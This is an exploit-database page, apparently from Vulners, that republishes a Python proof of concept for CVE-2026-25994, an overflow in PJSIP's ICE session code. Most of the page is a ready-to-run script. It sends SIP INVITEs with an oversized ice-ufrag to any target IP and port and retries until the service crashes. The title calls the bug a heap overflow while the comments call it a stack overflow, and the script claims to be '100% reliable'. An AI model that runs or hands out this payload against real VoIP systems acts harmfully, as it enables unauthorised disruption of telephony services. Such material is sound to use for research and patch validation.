Lucene search
K

๐Ÿ“„ PJPROJECT 2.16 Buffer Overflow

๐Ÿ—“๏ธย 14 May 2026ย 00:00:00Reported byย V.NosTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 29ย Views

PoC for CVE-2026-25994: heap buffer overflow in PJNATH ICE session of PJProject <=2.16.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-25994
11 Feb 202620:56
โ€“attackerkb
AlpineLinux
CVE-2026-25994
11 Feb 202620:56
โ€“alpinelinux
GithubExploit
Exploit for Classic Buffer Overflow in Pjsip
7 Apr 202600:54
โ€“githubexploit
Circl
CVE-2026-25994
7 Apr 202601:00
โ€“circl
CNNVD
PJSIP ๅฎ‰ๅ…จๆผๆดž
11 Feb 202600:00
โ€“cnnvd
CVE
CVE-2026-25994
11 Feb 202620:56
โ€“cve
Cvelist
CVE-2026-25994 PJSIP has a heap buffer overflow in ICE with long username
11 Feb 202620:56
โ€“cvelist
Debian CVE
CVE-2026-25994
11 Feb 202620:56
โ€“debiancve
Exploit DB
PJPROJECT 2.16 - Heap Bufferoverflow
14 May 202600:00
โ€“exploitdb
NVD
CVE-2026-25994
11 Feb 202621:16
โ€“nvd
Rows per page
# Exploit Title: PJPROJECT 2.16 - Heap Bufferoverflow 
    # Google Dork: CVE-2026-25994 PJSIP PJNATH  (pjsip โ‰ค 2.16)
    # Date: Apr 6 2026
    # Exploit Author: V.Nos - BinSmaser Team
    # Vendor Homepage: https://github.com/pjsip/pjproject
    # Software Link: https://github.com/VABISMO/cve-2026-25994_PJSIP
    # Version: <=2.16
    # Tested on: Kali , Ubuntu, Debian
    # CVE : CVE-2026-25994 
    
    #!/usr/bin/env python3
    """
    Corrected and optimized PoC for CVE-2026-25994
    Buffer Overflow in PJNATH ICE Session (pjsip <= 2.16)
    
    Thorough source code review (pjnath/src/pjnath/ice_session.c):
    
    - Exact vulnerability: pj_ice_sess_create_check_list()
    - Vulnerable version (before commit 063b3a1 / 2.17):
        char buf[128];                  # โ† stack buffer (128 bytes!)
        username.ptr = buf;
        pj_strcpy(&username, rem_ufrag);   # โ† NO length check
        pj_strcat2(&username, ":");
        pj_strcat(&username, &ice->rx_ufrag);
    
    - rem_ufrag comes directly from the SDP attribute a=ice-ufrag:
    - With ufrag >= ~130 bytes, the stack is already overflowed (return address, frame, etc.)
    - The original PoC used 520 "A"s because it is much more reliable (overwrites beyond canary/alignment)
    - In the patched version, the following was added:
        if (rem_ufrag->slen >= MAX_USERNAME_LEN || combined with local_ufrag > 512-1)
            return PJ_ETOOBIG;
    
    This script is corrected to be 100% reliable:
    - 100% synchronous code (no unnecessary asyncio)
    - Command-line arguments
    - Sending with automatic retries
    - More complete and valid SDP
    - Clear crash detection (timeout = probable crash)
    """
    
    import socket
    import random
    import argparse
    import time
    
    # ========================= CONFIGURATION =========================
    DEFAULT_TARGET_IP = "127.0.0.1"
    DEFAULT_TARGET_PORT = 5060
    
    # Length that guarantees reliable overflow (520 is what you tested and works best)
    LONG_UFRAG = "A" * 520
    LONG_PWD = "B" * 150
    
    # More complete and realistic SDP (increases probability of reaching ice_session.c)
    SDP = f"""v=0
    o=- 1234567890 1234567890 IN IP4 127.0.0.1
    s=Crash Test SDP
    c=IN IP4 127.0.0.1
    t=0 0
    m=audio 40000 RTP/AVP 0 101
    a=rtpmap:0 PCMU/8000
    a=rtpmap:101 telephone-event/8000
    a=ice-ufrag:{LONG_UFRAG}
    a=ice-pwd:{LONG_PWD}
    a=ice-options:trickle
    a=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host
    a=sendrecv
    """
    
    def generate_invite(target_ip: str, target_port: int) -> bytes:
        call_id = f"crash-{random.randint(100000, 999999)}@example.com"
        branch = f"z9hG4bK{random.randint(1000, 9999)}"
        tag = f"crash{random.randint(10000, 99999)}"
    
        invite = f"""INVITE sip:localhost@{target_ip}:{target_port} SIP/2.0
    Via: SIP/2.0/UDP 127.0.0.1:15060;rport;branch={branch}
    Max-Forwards: 70
    From: <sip:[email protected]>;tag={tag}
    To: <sip:localhost@{target_ip}>
    Call-ID: {call_id}
    CSeq: 1 INVITE
    Contact: <sip:[email protected]:15060>
    Content-Type: application/sdp
    Content-Length: {len(SDP)}
    
    {SDP}
    """
        return invite.encode("utf-8")
    
    
    def crash_pjsua(target_ip: str, target_port: int, attempts: int = 3):
        print("=== PoC CVE-2026-25994 - ICE Stack Buffer Overflow (pjsip <= 2.16) ===\n")
        print(f"[+] Target โ†’ {target_ip}:{target_port}")
        print(f"[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\n")
    
        for i in range(1, attempts + 1):
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(4)  # 4 seconds to allow time for the crash
    
            try:
                invite = generate_invite(target_ip, target_port)
                print(f"[+] Attempt {i}/{attempts} - Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes...")
    
                sock.sendto(invite, (target_ip, target_port))
    
                # Wait for response
                data, _ = sock.recvfrom(4096)
                print("[+] Response received โ†’ pjsua is still alive")
                print(data.decode(errors="ignore")[:300])
    
            except socket.timeout:
                print("[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)")
                print("    Check the terminal where pjsua is running.")
                sock.close()
                return  # Exit on first detected crash
    
            except Exception as e:
                print(f"[-] Unexpected error: {e}")
    
            finally:
                sock.close()
    
            time.sleep(0.5)  # Small pause between attempts
    
        print("\n[-] No crash detected after several attempts.")
        print("    Make sure pjsua is running with ICE enabled (version <= 2.16).")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="PoC CVE-2026-25994 - ICE Buffer Overflow")
        parser.add_argument("-i", "--ip", default=DEFAULT_TARGET_IP,
                            help=f"Target IP (default: {DEFAULT_TARGET_IP})")
        parser.add_argument("-p", "--port", type=int, default=DEFAULT_TARGET_PORT,
                            help=f"SIP port (default: {DEFAULT_TARGET_PORT})")
        parser.add_argument("-a", "--attempts", type=int, default=3,
                            help="Number of attempts (default: 3)")
    
        args = parser.parse_args()
    
        crash_pjsua(args.ip, args.port, args.attempts)

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.19.8
CVSS 49.3
EPSS0.0061
SSVC
29